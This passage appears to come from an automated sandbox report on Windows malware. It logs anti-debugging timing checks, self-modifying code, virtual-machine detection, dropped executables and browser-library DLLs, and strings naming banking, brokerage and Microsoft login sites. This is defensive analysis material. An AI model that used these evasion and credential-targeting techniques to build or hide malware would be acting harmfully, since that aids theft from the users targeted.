mov dword ptr [eax+01h], esp 0x00000054 cmc 0x00000055 lea eax, dword ptr [ebp+12474E56h] 0x0000005b jne 00007F28606BF773h 0x00000061 jmp 00007F28606BF778h 0x00000066 mov dword ptr [eax+01h], ebp 0x00000069 jmp 00007F28606BF774h 0x0000006e mov byte ptr [ebp+122D388Dh], 0000004Fh 0x00000075 jmp 00007F28606BF76Ah 0x0000007a call 00007F28606BF769h 0x0000007f push eax 0x00000080 push edx 0x00000081 jnc 00007F28606BF768h 0x00000087 push ecx 0x00000088 pop ecx 0x00000089 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFAD4 second address: 7EFAF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F286071A1C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F286071A1B6h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFAF5 second address: 7EFB0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28606BF774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFB0D second address: 7EFB13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFB13 second address: 7EFB68 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F28606BF766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F28606BF778h 0x00000019 popad 0x0000001a jbe 00007F28606BF768h 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 jmp 00007F28606BF774h 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFB68 second address: 7EFB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F286071A1B6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EE2E5 second address: 7EE2E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFD23 second address: 7EFD27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFD27 second address: 7EFD2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7EFD2B second address: 7EFD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F20FC second address: 7F2100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F2100 second address: 7F210C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F286071A1B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F6383 second address: 7F63CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F28606BF766h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F28606BF779h 0x00000010 popad 0x00000011 jmp 00007F28606BF774h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F28606BF76Bh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F5AB5 second address: 7F5AD6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F286071A1C3h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F5E2C second address: 7F5E30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	RDTSC instruction interceptor: First address: 7F5E30 second address: 7F5E51 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F286071A1B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F286071A1C7h 0x0000000f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C4F883 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E019C3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E86BE9 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Special instruction interceptor: First address: 64ECFB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Special instruction interceptor: First address: 7EFA67 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Special instruction interceptor: First address: 815728 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Special instruction interceptor: First address: 800F4D instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsAKKEGHJDHD.exe	Special instruction interceptor: First address: 87B768 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: AFECFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: C9FA67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CC5728 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: CB0F4D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D2B768 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: DBEA59 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: DBEB58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: F6DBAF instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: F6C68C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: F7BF97 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: FEF712 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Special instruction interceptor: First address: EFF883 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Special instruction interceptor: First address: 10B19C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Special instruction interceptor: First address: 1136BE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Special instruction interceptor: First address: 7BDC6B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Special instruction interceptor: First address: 9727DD instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Special instruction interceptor: First address: 7BDBC9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Special instruction interceptor: First address: A02BD9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: 5EBF883 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: 60719C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Special instruction interceptor: First address: 60F6BE9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Special instruction interceptor: First address: 7C2106 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 51E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 5410000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 5210000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 4F20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 51D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Memory allocated: 71D0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

Code function: 20_2_04B10B2A rdtsc

20_2_04B10B2A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Window / User API: threadDelayed 413

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 5600	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4304	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5668	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5704	Thread sleep count: 39 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5704	Thread sleep time: -78039s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3836	Thread sleep count: 413 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3836	Thread sleep time: -12390000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5472	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5472	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8132	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5456	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5700	Thread sleep time: -48024s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3836	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe TID: 8184	Thread sleep time: -300000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe TID: 2164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe TID: 8420	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe TID: 8012	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe TID: 8772	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe TID: 4196	Thread sleep time: -138000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe TID: 5896	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe TID: 3148	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsAKKEGHJDHD.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C66C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C66C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2433056254.0000000000DDB000.00000040.00000001.01000000.00000003.sdmp, DocumentsAKKEGHJDHD.exe, 00000014.00000000.2382016145.00000000007D0000.00000080.00000001.01000000.0000000B.sdmp, DocumentsAKKEGHJDHD.exe, 00000014.00000002.2436560720.00000000007D0000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000015.00000000.2409374269.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000015.00000002.2470032942.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000000.2415847408.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, skotes.exe, 00000016.00000002.2476080256.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.3289673183.0000000000C80000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000000.2683141229.0000000000C80000.00000080.00000001.01000000.0000000E.sdmp, 5912d4444a.exe, 00000019.00000002.3000085480.000000000604B000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000176A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW3
Source: file.exe, 00000000.00000002.2422651725.0000000000792000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000018.00000002.3297282430.0000000001659000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2909009479.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805548948.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.000000000085E000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805548948.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2909009479.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: skotes.exe, 00000018.00000002.3297282430.000000000161A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 5912d4444a.exe, 0000001F.00000002.3289202367.000000000081B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWl
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: skotes.exe, 00000018.00000002.3297282430.0000000001659000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(qT
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 5912d4444a.exe, 00000022.00000002.3299740608.0000000001137000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: DocumentsAKKEGHJDHD.exe, 00000014.00000002.2439484622.0000000000E45000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware~I
Source: b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 5912d4444a.exe, 00000022.00000002.3311130094.0000000005970000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vgKoeixlFzcXrwQtZngskSsLh2SI45TQ8eClthMb9/SeQyguW4ITBoN6dwlxH82FHxozhS/xpDERMISk5Ckm5Q7DeFpbYvdicvrweXXa2nR+HpI1/seBBNAkFFHxnxIA+tfJaloC83aXr+StlarvUZsq17TYERYRIWA1FQBI9GfO43iOj3ZE5ZYvxH2V6q9l//+3dK5xYAV10wEh8X8SAd1j+K6/95YSpW8kLbVLPsX//7fkrnfw5fGR4cB1/jIwiwa9S35yFpJ2G/EYUX/PVf6fs/Ca09RhwLDBthMZJvS+knxsP/fnlxeu136Xex5hy/+Ukcsj9DGhoxYlEIpX9T5TzEq7hgMD9OvwGXZvKnB/HjOD+8IU4YCx4RfBinckahGoP08Xl9dTexCdEZ5LdR8b9pSud/EkRIXAsPXa42RKMqxL2qITB1N6cJkFqu9RmyrXtNgRFgFAsOUVQDj0ZI4DKK4u5+MCk38AmPYPyvX471OBL/dwAqHgFSWBmgNX3oKoXo82MyZnrvTpcX/OFf6es2Srs+AEdNXQcKXOYoD/xynaXuLyg1Ob9blwH8oByjqX4JqSwHISMvV1MMvXlao3LE6rg3SSd07VuYSKrqD7b3cBuyIwBRXUNYVAO0f02sLpTu9Hk8Y2W/B5dIt+gNv7w3G6kiUBwYCBBXHrx0Ha18ke70aX1yOO5f1E+7qxegtnRKgGEAB11XHGoMv3Za9S3JxfNjc2t2+AmZGbqnR+L1OA6ubxhPT1QJDFjhKkKtJcTzuDciKTftCY8Z++QNo717HLxofiEcAlMTAbp4WvMqn6nwbGp9ScFi21+7/Ri3nVhK8W9PX0U2HBdPjjYd+3zcpc1sfmlw6ViacZ/dJfOXfx/9G0cPDARRU0//OFujZNSruGthJy+vG4wM77BP46Q2E/85AEdPQRxNT+k4GuAuluP7eXMgScFu2V698Q+mtEY0qixOERoZTR9B8XcduwXErbhQPidvvxGXbL/pEbataUeYIUceCx9LUE//OFujZNaruGthJy+vG4wM77BP46Q2E/85AEdPQRxNT+k4GuAuluP7eXMgScFu2V698Q+mtDckiQ5